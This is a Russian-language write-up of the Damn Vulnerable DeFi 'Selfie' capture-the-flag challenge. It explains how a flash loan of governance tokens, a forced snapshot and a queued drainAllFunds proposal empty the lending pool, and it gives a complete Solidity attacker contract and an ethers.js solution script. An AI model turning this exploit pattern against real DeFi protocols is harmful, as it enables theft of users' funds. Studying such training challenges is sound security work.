Damn Vulnerable Defi. Задача 6. Selfie
Есть пул, который предлагает заqмы в токенах и имеет свой governance. Цель задачи захватить все токены из пула.
В чем суть?
Задача научила меня смотреть не только сами контракты, но и js файл, или точнее сказать условия их деплоя. Тогда вся картина сложилась. А именно то, что оба этих контракта используют один и тот же токен: и для займа, и для голосования. Более того, нет никакой проверки, откуда у адресата токены.
Картина взлома такая: мы берем займ по известной ранее схеме, создаем голосование и потом выводим все токены. Но тут есть пара моментов.
Когда мы создаем новое предложение в governance, используя функцию queueAction(), то создаем новую структуру GovernanceAction, одним из параметров которой является bytes data. Его можно использовать для передачи функции на вывод всех токенов из пула.
Также, чтобы создать предложение, нам нужно пройти проверку _hasEnoughVotes() на количество токенов, которое должно превышать половину всех выпущенных токенов. По условию выпущено 2млн токенов, и нам нужно владеть хотя бы 1 млн токенов + 1.
Если посмотреть, то проверка описается на метод getBalanceAtLastSnapshot(), который в свою очередь берет значения из фукнции snapshot(). Это можно увидеть, открыв файл DamnValuableTokenSnapshot.sol.
Поэтому, перед тем как создавать свое предложение, нам нужно пройти проверку и для этого вызвать функцию snapshot().
Код контракта может выглядеть так:
contract Attacker6 {
ERC20Snapshot public token;
SelfiePool private immutable pool;
SimpleGovernance private immutable governance;
address payable attacker;
uint256 public actionId;
constructor (address tokenAddress, address poolAddress, address governanceAddress, address attackerAddress) {
token = ERC20Snapshot(tokenAddress);
pool = SelfiePool(poolAddress);
governance = SimpleGovernance(governanceAddress);
attacker = payable(attackerAddress);
}
function attack(uint256 amount) external {
pool.flashLoan(amount);
}
function receiveTokens(address tokenAddress, uint256 amount) external {
DamnValuableTokenSnapshot governanceToken = DamnValuableTokenSnapshot(tokenAddress);
governanceToken.snapshot();
actionId = governance.queueAction(address(pool), abi.encodeWithSignature(
"drainAllFunds(address)",
attacker
), 0);
token.transfer(msg.sender, amount);
}
receive() external payable {}
}
И решение:
const SelfieAttackerFactory = await ethers.getContractFactory('Attacker6', deployer);
const attackerContract = await SelfieAttackerFactory.deploy(this.token.address, this.pool.address, this.governance.address, attacker.address);
await attackerContract.connect(attacker).attack(TOKENS_IN_POOL);
const actionId = ethers.BigNumber.from(await attackerContract.connect(attacker).actionId());
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await this.governance.connect(attacker).executeAction(actionId);
Проверка через команду yarn run selfie.
#dvd #DamnVulnerableDefi
Post #445
168